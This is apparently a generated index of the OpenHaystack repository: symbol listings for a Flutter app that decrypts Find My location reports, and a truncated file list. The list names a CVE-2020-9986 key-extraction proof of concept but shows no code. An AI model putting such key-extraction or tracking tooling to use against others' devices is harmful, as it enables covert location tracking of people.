class AccessoryList (line 16) | class AccessoryList extends StatefulWidget {
method createState (line 31) | _AccessoryListState createState()
class _AccessoryListState (line 34) | class _AccessoryListState extends State<AccessoryList> {
method build (line 37) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/accessory/accessory_list_item.dart
class AccessoryListItem (line 7) | class AccessoryListItem extends StatelessWidget {
method build (line 31) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/accessory/accessory_list_item_placeholder.dart
class AccessoryListItemPlaceholder (line 6) | class AccessoryListItemPlaceholder extends StatelessWidget {
method build (line 14) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/accessory/accessory_model.dart
class Pair (line 8) | class Pair<T1, T2> {
class Accessory (line 19) | class Accessory {
method _init (line 81) | void _init()
method clone (line 88) | Accessory clone()
method update (line 108) | void update(Accessory newAccessory)
method toJson (line 187) | Map<String, dynamic> toJson()
method getHashedAdvertisementKey (line 207) | Future<String> getHashedAdvertisementKey()
method getAdvertisementKey (line 214) | Future<String> getAdvertisementKey()
method getPrivateKey (line 220) | Future<String> getPrivateKey()
FILE: openhaystack-mobile/lib/accessory/accessory_registry.dart
class AccessoryRegistry (line 13) | class AccessoryRegistry extends ChangeNotifier {
method loadAccessories (line 30) | Future<void> loadAccessories()
method overwriteEverythingWithDemoDataForDebugging (line 55) | Future<void> overwriteEverythingWithDemoDataForDebugging()
method loadLocationReports (line 85) | Future<void> loadLocationReports()
method _storeAccessories (line 129) | Future<void> _storeAccessories()
method addAccessory (line 135) | void addAccessory(Accessory accessory)
method removeAccessory (line 142) | void removeAccessory(Accessory accessory)
method editAccessory (line 150) | void editAccessory(Accessory oldAccessory, Accessory newAccessory)
FILE: openhaystack-mobile/lib/accessory/no_accessories.dart
class NoAccessoriesPlaceholder (line 4) | class NoAccessoriesPlaceholder extends StatelessWidget {
method build (line 12) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/dashboard/accessory_map_list_vert.dart
class AccessoryMapListVertical (line 11) | class AccessoryMapListVertical extends StatefulWidget {
method createState (line 21) | State<AccessoryMapListVertical> createState()
class _AccessoryMapListVerticalState (line 24) | class _AccessoryMapListVerticalState extends State<AccessoryMapListVerti...
method _centerPoint (line 27) | void _centerPoint(LatLng point)
method build (line 34) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/dashboard/dashboard_desktop.dart
class DashboardDesktop (line 10) | class DashboardDesktop extends StatefulWidget {
method createState (line 19) | _DashboardDesktopState createState()
class _DashboardDesktopState (line 22) | class _DashboardDesktopState extends State<DashboardDesktop> {
method initState (line 25) | void initState()
method loadLocationUpdates (line 41) | Future<void> loadLocationUpdates()
method build (line 47) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/dashboard/dashboard_mobile.dart
class DashboardMobile (line 11) | class DashboardMobile extends StatefulWidget {
method createState (line 21) | _DashboardMobileState createState()
class _DashboardMobileState (line 24) | class _DashboardMobileState extends State<DashboardMobile> {
method initState (line 46) | void initState()
method loadLocationUpdates (line 63) | Future<void> loadLocationUpdates()
method _onItemTapped (line 85) | void _onItemTapped(int index)
method build (line 92) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/deployment/code_block.dart
class CodeBlock (line 4) | class CodeBlock extends StatelessWidget {
method build (line 14) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/deployment/deployment_details.dart
class DeploymentDetails (line 3) | class DeploymentDetails extends StatefulWidget {
method createState (line 19) | _DeploymentDetailsState createState()
class _DeploymentDetailsState (line 22) | class _DeploymentDetailsState extends State<DeploymentDetails> {
method build (line 27) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/deployment/deployment_email.dart
class DeploymentEmail (line 1) | class DeploymentEmail {
method getMicrobitDeploymentEmail (line 14) | String getMicrobitDeploymentEmail(String advertisementKey)
method getESP32DeploymentEmail (line 43) | String getESP32DeploymentEmail(String advertisementKey)
method getLinuxHCIDeploymentEmail (line 73) | String getLinuxHCIDeploymentEmail(String advertisementKey)
FILE: openhaystack-mobile/lib/deployment/deployment_esp32.dart
class DeploymentInstructionsESP32 (line 6) | class DeploymentInstructionsESP32 extends StatelessWidget {
method build (line 16) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/deployment/deployment_instructions.dart
class DeploymentInstructions (line 10) | class DeploymentInstructions extends StatefulWidget {
method createState (line 25) | _DeploymentInstructionsState createState()
class _DeploymentInstructionsState (line 28) | class _DeploymentInstructionsState extends State<DeploymentInstructions> {
method build (line 32) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/deployment/deployment_linux_hci.dart
class DeploymentInstructionsLinux (line 6) | class DeploymentInstructionsLinux extends StatelessWidget {
method build (line 16) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/deployment/deployment_nrf51.dart
class DeploymentInstructionsNRF51 (line 6) | class DeploymentInstructionsNRF51 extends StatelessWidget {
method build (line 16) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/deployment/hyperlink.dart
class Hyperlink (line 4) | class Hyperlink extends StatelessWidget {
method build (line 18) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/findMy/decrypt_reports.dart
class DecryptReports (line 9) | class DecryptReports {
method decryptReport (line 11) | Future<FindMyLocationReport> decryptReport(
method _decodeTimeAndConfidence (line 39) | void _decodeTimeAndConfidence(Uint8List payloadData, FindMyReport report)
method _ecdh (line 50) | Uint8List _ecdh(ECPublicKey ephemeralPublicKey, ECPrivateKey privateKey)
method _decodePayload (line 61) | FindMyLocationReport _decodePayload(
method _decryptPayload (line 77) | Uint8List _decryptPayload(
method _kdf (line 98) | Uint8List _kdf(Uint8List secret, Uint8List ephemeralKey)
FILE: openhaystack-mobile/lib/findMy/find_my_controller.dart
class FindMyController (line 15) | class FindMyController {
method computeResults (line 23) | Future<List<FindMyLocationReport>> computeResults(FindMyKeyPair keyPair)
method _getListedReportResults (line 31) | Future<List<FindMyLocationReport>> _getListedReportResults(FindMyKeyPa...
method _loadPrivateKey (line 42) | Future<void> _loadPrivateKey(FindMyKeyPair keyPair)
method _derivePublicKey (line 55) | ECPublicKey _derivePublicKey(ECPrivateKey privateKey)
method _decryptResult (line 65) | Future<FindMyLocationReport> _decryptResult(dynamic result, FindMyKeyP...
method getKeyPair (line 85) | Future<FindMyKeyPair> getKeyPair(String base64HashedPublicKey)
method importKeyPair (line 97) | Future<FindMyKeyPair> importKeyPair(String privateKeyBase64)
method generateKeyPair (line 117) | Future<FindMyKeyPair> generateKeyPair()
method getHashedPublicKey (line 138) | String getHashedPublicKey({Uint8List? publicKeyBytes, ECPublicKey? pub...
FILE: openhaystack-mobile/lib/findMy/models.dart
class FindMyLocationReport (line 9) | class FindMyLocationReport {
class Location (line 23) | class Location {
class FindMyReport (line 31) | class FindMyReport {
class FindMyKeyPair (line 47) | class FindMyKeyPair {
method getBase64PublicKey (line 61) | String getBase64PublicKey()
method getBase64PrivateKey (line 65) | String getBase64PrivateKey()
method getBase64AdvertisementKey (line 69) | String getBase64AdvertisementKey()
method _getAdvertisementKey (line 73) | Uint8List _getAdvertisementKey()
method getHashedAdvertisementKey (line 80) | String getHashedAdvertisementKey()
FILE: openhaystack-mobile/lib/history/accessory_history.dart
class AccessoryHistory (line 8) | class AccessoryHistory extends StatefulWidget {
method createState (line 20) | _AccessoryHistoryState createState()
class _AccessoryHistoryState (line 23) | class _AccessoryHistoryState extends State<AccessoryHistory> {
method initState (line 33) | void initState()
method build (line 46) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/history/days_selection_slider.dart
class DaysSelectionSlider (line 3) | class DaysSelectionSlider extends StatefulWidget {
method createState (line 19) | _DaysSelectionSliderState createState()
class _DaysSelectionSliderState (line 22) | class _DaysSelectionSliderState extends State<DaysSelectionSlider> {
method build (line 24) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/history/location_popup.dart
class LocationPopup (line 5) | class LocationPopup extends Marker {
FILE: openhaystack-mobile/lib/item_management/accessory_color_input.dart
class AccessoryColorInput (line 4) | class AccessoryColorInput extends StatelessWidget {
method build (line 19) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/item_management/accessory_icon_input.dart
class AccessoryIconInput (line 4) | class AccessoryIconInput extends StatelessWidget {
method build (line 25) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/item_management/accessory_id_input.dart
class AccessoryIdInput (line 3) | class AccessoryIdInput extends StatelessWidget {
method build (line 13) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/item_management/accessory_name_input.dart
class AccessoryNameInput (line 3) | class AccessoryNameInput extends StatelessWidget {
method build (line 18) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/item_management/accessory_pk_input.dart
class AccessoryPrivateKeyInput (line 5) | class AccessoryPrivateKeyInput extends StatelessWidget {
method build (line 15) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/item_management/item_creation.dart
class AccessoryGeneration (line 11) | class AccessoryGeneration extends StatefulWidget {
method createState (line 19) | _AccessoryGenerationState createState()
class _AccessoryGenerationState (line 22) | class _AccessoryGenerationState extends State<AccessoryGeneration> {
method createAccessory (line 38) | Future<bool> createAccessory(BuildContext context)
method build (line 55) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/item_management/item_export.dart
class ItemExportMenu (line 13) | class ItemExportMenu extends StatelessWidget {
method showKeyExportSheet (line 27) | void showKeyExportSheet(BuildContext context, Accessory accessory)
method _exportAccessoriesAsJSON (line 91) | Future<void> _exportAccessoriesAsJSON(List<Accessory> accessories)
method _showKeyExplanationAlert (line 135) | Future<void> _showKeyExplanationAlert(BuildContext context)
method build (line 169) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/item_management/item_file_import.dart
class ItemFileImport (line 13) | class ItemFileImport extends StatefulWidget {
method createState (line 27) | _ItemFileImportState createState()
class _ItemFileImportState (line 30) | class _ItemFileImportState extends State<ItemFileImport> {
method initState (line 44) | void initState()
method _initStateAsync (line 50) | void _initStateAsync(String filePath)
method _validateFilePath (line 80) | Future<bool> _validateFilePath(String filePath)
method _parseAccessories (line 91) | Future<List<AccessoryDTO>> _parseAccessories(String filePath)
method _importSelectedAccessories (line 104) | Future<void> _importSelectedAccessories()
method _importAccessory (line 131) | Future<void> _importAccessory(AccessoryRegistry registry, AccessoryDTO...
method build (line 170) | Widget build(BuildContext context)
method _buildProperty (line 242) | Widget _buildProperty(String key, String value)
method _buildScaffold (line 256) | Widget _buildScaffold(Widget body)
FILE: openhaystack-mobile/lib/item_management/item_import.dart
class AccessoryImport (line 12) | class AccessoryImport extends StatefulWidget {
method createState (line 18) | State<AccessoryImport> createState()
class _AccessoryImportState (line 21) | class _AccessoryImportState extends State<AccessoryImport> {
method importKey (line 35) | Future<void> importKey(BuildContext context)
method build (line 59) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/item_management/item_management.dart
class KeyManagement (line 10) | class KeyManagement extends StatelessWidget {
method build (line 20) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/item_management/loading_spinner.dart
class LoadingSpinner (line 3) | class LoadingSpinner extends StatelessWidget {
method build (line 9) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/item_management/new_item_action.dart
class NewKeyAction (line 7) | class NewKeyAction extends StatelessWidget {
method showCreationSheet (line 20) | void showCreationSheet(BuildContext context)
method build (line 76) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/location/location_model.dart
class LocationModel (line 9) | class LocationModel extends ChangeNotifier {
method requestLocationAccess (line 21) | Future<bool> requestLocationAccess()
method requestLocationUpdates (line 54) | Future<void> requestLocationUpdates()
method _updateLocation (line 79) | void _updateLocation(LocationData locationData)
method cancelLocationUpdates (line 96) | void cancelLocationUpdates()
method _removeCurrentLocation (line 106) | void _removeCurrentLocation()
method getAddress (line 114) | Future<geocode.Placemark?> getAddress(LatLng? location)
FILE: openhaystack-mobile/lib/main.dart
function main (line 15) | void main()
class MyApp (line 19) | class MyApp extends StatelessWidget {
method build (line 23) | Widget build(BuildContext context)
class AppLayout (line 42) | class AppLayout extends StatefulWidget {
method createState (line 46) | State<AppLayout> createState()
class _AppLayoutState (line 49) | class _AppLayoutState extends State<AppLayout> {
method handleFileSharingIntent (line 65) | Future<void> handleFileSharingIntent(List<SharedMediaFile> files)
method dispose (line 83) | void dispose()
method didChangeDependencies (line 89) | void didChangeDependencies()
method build (line 97) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/map/map.dart
class AccessoryMap (line 10) | class AccessoryMap extends StatefulWidget {
method createState (line 20) | _AccessoryMapState createState()
class _AccessoryMapState (line 23) | class _AccessoryMapState extends State<AccessoryMap> {
method initState (line 30) | void initState()
method listener (line 41) | void listener ()
method dispose (line 53) | void dispose()
method fitToContent (line 60) | void fitToContent(List<Accessory> accessories, LatLng? hereLocation)
method build (line 82) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/placeholder/avatar_placeholder.dart
class AvatarPlaceholder (line 3) | class AvatarPlaceholder extends StatelessWidget {
method build (line 13) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/placeholder/text_placeholder.dart
class TextPlaceholder (line 3) | class TextPlaceholder extends StatefulWidget {
method createState (line 21) | _TextPlaceholderState createState()
class _TextPlaceholderState (line 24) | class _TextPlaceholderState extends State<TextPlaceholder> with SingleTi...
method initState (line 29) | void initState()
method dispose (line 52) | void dispose()
method build (line 58) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/preferences/preferences_page.dart
class PreferencesPage (line 6) | class PreferencesPage extends StatefulWidget {
method createState (line 12) | _PreferencesPageState createState()
class _PreferencesPageState (line 15) | class _PreferencesPageState extends State<PreferencesPage> {
method build (line 17) | Widget build(BuildContext context)
FILE: openhaystack-mobile/lib/preferences/user_preferences_model.dart
class UserPreferences (line 8) | class UserPreferences extends ChangeNotifier {
method _initializeAsync (line 21) | void _initializeAsync()
method shouldShowIntroduction (line 32) | bool? shouldShowIntroduction()
method setLocationPreference (line 54) | Future<bool> setLocationPreference(bool locationAccessWanted)
FILE: openhaystack-mobile/lib/splashscreen.dart
class Splashscreen (line 3) | class Splashscreen extends StatelessWidget {
method build (line 9) | Widget build(BuildContext context)
FILE: openhaystack-mobile/linux/flutter/generated_plugin_registrant.cc
function fl_register_plugins (line 13) | void fl_register_plugins(FlPluginRegistry* registry) {
FILE: openhaystack-mobile/linux/main.cc
function main (line 3) | int main(int argc, char** argv) {
FILE: openhaystack-mobile/linux/my_application.cc
type _MyApplication (line 10) | struct _MyApplication {
function my_application_activate (line 18) | static void my_application_activate(GApplication* application) {
function gboolean (line 66) | static gboolean my_application_local_command_line(GApplication* applicat...
function my_application_dispose (line 85) | static void my_application_dispose(GObject* object) {
function my_application_class_init (line 91) | static void my_application_class_init(MyApplicationClass* klass) {
function my_application_init (line 97) | static void my_application_init(MyApplication* self) {}
function MyApplication (line 99) | MyApplication* my_application_new() {
FILE: openhaystack-mobile/test/widget_test.dart
function main (line 13) | void main()
FILE: openhaystack-mobile/windows/flutter/generated_plugin_registrant.cc
function RegisterPlugins (line 13) | void RegisterPlugins(flutter::PluginRegistry* registry) {
FILE: openhaystack-mobile/windows/runner/flutter_window.cpp
function LRESULT (line 40) | LRESULT
FILE: openhaystack-mobile/windows/runner/flutter_window.h
function class (line 12) | class FlutterWindow : public Win32Window {
FILE: openhaystack-mobile/windows/runner/main.cpp
function wWinMain (line 8) | int APIENTRY wWinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE prev,
FILE: openhaystack-mobile/windows/runner/utils.cpp
function CreateAndAttachConsole (line 10) | void CreateAndAttachConsole() {
function GetCommandLineArguments (line 24) | std::vector<std::string> GetCommandLineArguments() {
function Utf8FromUtf16 (line 44) | std::string Utf8FromUtf16(const wchar_t* utf16_string) {
FILE: openhaystack-mobile/windows/runner/win32_window.cpp
function Scale (line 18) | int Scale(int source, double scale_factor) {
function EnableFullDpiSupportIfAvailable (line 24) | void EnableFullDpiSupportIfAvailable(HWND hwnd) {
class WindowClassRegistrar (line 41) | class WindowClassRegistrar {
method WindowClassRegistrar (line 46) | static WindowClassRegistrar* GetInstance() {
method WindowClassRegistrar (line 62) | WindowClassRegistrar() = default;
function wchar_t (line 71) | const wchar_t* WindowClassRegistrar::GetWindowClass() {
function LRESULT (line 133) | LRESULT CALLBACK Win32Window::WndProc(HWND const window,
function LRESULT (line 152) | LRESULT
function Win32Window (line 208) | Win32Window* Win32Window::GetThisFromHandle(HWND const window) noexcept {
function RECT (line 224) | RECT Win32Window::GetClientArea() {
function HWND (line 230) | HWND Win32Window::GetHandle() {
FILE: openhaystack-mobile/windows/runner/win32_window.h
type Size (line 21) | struct Size {
Condensed preview — 311 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (2,283K chars).
[
{
"path": ".github/ISSUE_TEMPLATE/bug_report.md",
"chars": 656,
"preview": "---\nname: Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: bug\nassignees: ''\n\n---\n\n**Describe the "
},
{
"path": ".github/ISSUE_TEMPLATE/feature_request.md",
"chars": 604,
"preview": "---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: enhancement\nassignees: ''\n\n---\n\n**Is"
},
{
"path": ".github/ISSUE_TEMPLATE/general-question.md",
"chars": 97,
"preview": "---\nname: General question\nabout: Ask a question\ntitle: ''\nlabels: question\nassignees: ''\n\n---\n\n\n"
},
{
"path": ".github/actions/build-esp-idf/action.yaml",
"chars": 1541,
"preview": "name: 'Build Firmware with ESP-IDF'\ndescription: 'Builds a firmware for the ESP32 using the ESP-IDF'\ninputs:\n src-dir:\n"
},
{
"path": ".github/workflows/build-app.yml",
"chars": 1216,
"preview": "name: \"Build application\"\n\non:\n push:\n branches: [ main ]\n paths:\n - OpenHaystack/** \n pull_request:\n "
},
{
"path": ".github/workflows/build-cve-2020-9986.yaml",
"chars": 1294,
"preview": "name: \"Build CVE-2020-9986\"\n\non:\n push:\n branches: [ main ]\n paths:\n - CVE-2020-9986/**\n pull_request:\n "
},
{
"path": ".github/workflows/build-firmware-esp32.yaml",
"chars": 665,
"preview": "name: \"Build firmware (ESP32)\"\n\non:\n push:\n branches: [ main ]\n paths:\n - Firmware/ESP32/**\n pull_request:\n"
},
{
"path": ".github/workflows/build-firmware.yaml",
"chars": 537,
"preview": "name: \"Build firmware\"\n\non:\n push:\n branches: [ main ]\n paths:\n - Firmware/Microbit_v1/**\n pull_request:\n "
},
{
"path": ".github/workflows/release.yml",
"chars": 2440,
"preview": "name: \"Create release\"\n\non:\n push:\n tags:\n - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10\n workflow"
},
{
"path": ".gitignore",
"chars": 2775,
"preview": "\n# Created by https://www.toptal.com/developers/gitignore/api/xcode,swift\n# Edit at https://www.toptal.com/developers/gi"
},
{
"path": ".gitmodules",
"chars": 130,
"preview": "[submodule \"Firmware/Microbit_v1/blessed\"]\n\tpath = Firmware/Microbit_v1/blessed\n\turl = https://github.com/pauloborges/bl"
},
{
"path": ".pre-commit",
"chars": 20,
"preview": "make app-autoformat\n"
},
{
"path": "CITATION.cff",
"chars": 1140,
"preview": "# This CITATION.cff file was generated with cffinit.\n# Visit https://bit.ly/cffinit to generate yours today!\n\ncff-versio"
},
{
"path": "CVE-2020-9986/OFReadKeys/.swiftlint.yml",
"chars": 1777,
"preview": "\n# By default, SwiftLint uses a set of sensible default rules you can adjust:\ndisabled_rules: # rule identifiers turned "
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/AppDelegate.swift",
"chars": 1264,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/Assets.xcassets/AccentColor.colorset/Contents.json",
"chars": 123,
"preview": "{\n \"colors\" : [\n {\n \"idiom\" : \"universal\"\n }\n ],\n \"info\" : {\n \"author\" : \"xcode\",\n \"version\" : 1\n }"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/Assets.xcassets/AppIcon.appiconset/Contents.json",
"chars": 904,
"preview": "{\n \"images\" : [\n {\n \"idiom\" : \"mac\",\n \"scale\" : \"1x\",\n \"size\" : \"16x16\"\n },\n {\n \"idiom\" : "
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/Assets.xcassets/Contents.json",
"chars": 63,
"preview": "{\n \"info\" : {\n \"author\" : \"xcode\",\n \"version\" : 1\n }\n}\n"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/Base.lproj/Main.storyboard",
"chars": 58356,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB\" version=\"3.0\" t"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/BoringSSL/BoringSSL.h",
"chars": 962,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/BoringSSL/BoringSSL.m",
"chars": 5439,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/BoringSSL/Bridging-Header.h",
"chars": 288,
"preview": "//\n// Bridging-Header.h\n// OFReadKeys\n//\n// Created by Alex - SEEMOO on 04.03.21.\n// Copyright © 2021 SEEMOO - TU Da"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/ContentView.swift",
"chars": 512,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/DecryptReports.swift",
"chars": 3628,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/FindMyController.swift",
"chars": 6798,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/FindMyKeyDecoder.swift",
"chars": 3317,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/FindMy/Models.swift",
"chars": 6218,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/Info.plist",
"chars": 1089,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/MapView.swift",
"chars": 725,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/MapViewController.swift",
"chars": 1571,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/MapViewController.xib",
"chars": 2257,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.Cocoa.XIB\" version=\"3.0\" toolsVersion"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/OFFetchReports.entitlements",
"chars": 412,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/OFFetchReportsMainView.swift",
"chars": 5503,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/Preview Content/Preview Assets.xcassets/Contents.json",
"chars": 63,
"preview": "{\n \"info\" : {\n \"author\" : \"xcode\",\n \"version\" : 1\n }\n}\n"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/ReportsFetcher/ReportsFetcher.h",
"chars": 2288,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/ReportsFetcher/ReportsFetcher.m",
"chars": 6445,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFFetchReports/SavePanel.swift",
"chars": 1258,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys/AppDelegate.swift",
"chars": 1245,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys/Assets.xcassets/AppIcon.appiconset/Contents.json",
"chars": 904,
"preview": "{\n \"images\" : [\n {\n \"idiom\" : \"mac\",\n \"scale\" : \"1x\",\n \"size\" : \"16x16\"\n },\n {\n \"idiom\" : "
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys/Assets.xcassets/Contents.json",
"chars": 63,
"preview": "{\n \"info\" : {\n \"author\" : \"xcode\",\n \"version\" : 1\n }\n}\n"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys/Base.lproj/Main.storyboard",
"chars": 4287,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<document type=\"com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB\" version=\"3.0\" t"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys/ContentView.swift",
"chars": 2797,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyKeyExtractor.swift",
"chars": 7828,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys/FindMyModels.swift",
"chars": 1071,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys/Info.plist",
"chars": 1519,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys/OFReadKeys.entitlements",
"chars": 319,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys/Preview Content/Preview Assets.xcassets/Contents.json",
"chars": 63,
"preview": "{\n \"info\" : {\n \"author\" : \"xcode\",\n \"version\" : 1\n }\n}\n"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys/SavePanel.swift",
"chars": 1251,
"preview": "//\n// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network\n//\n// Copyright © 2021 Secure Mob"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.pbxproj",
"chars": 34432,
"preview": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 52;\n\tobjects = {\n\n/* Begin PBXAggregateTarget sec"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.xcworkspace/contents.xcworkspacedata",
"chars": 135,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Workspace\n version = \"1.0\">\n <FileRef\n location = \"self:\">\n </FileRef"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist",
"chars": 238,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/P"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/project.xcworkspace/xcshareddata/swiftpm/Package.resolved",
"chars": 867,
"preview": "{\n \"object\": {\n \"pins\": [\n {\n \"package\": \"swift-crypto\",\n \"repositoryURL\": \"https://github.com/ap"
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/xcshareddata/xcschemes/OFFetchReports.xcscheme",
"chars": 2891,
"preview": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Scheme\n LastUpgradeVersion = \"1250\"\n version = \"1.3\">\n <BuildAction\n "
},
{
"path": "CVE-2020-9986/OFReadKeys/OFReadKeys.xcodeproj/xcshareddata/xcschemes/OFReadKeys.xcscheme",
"chars": 2867,
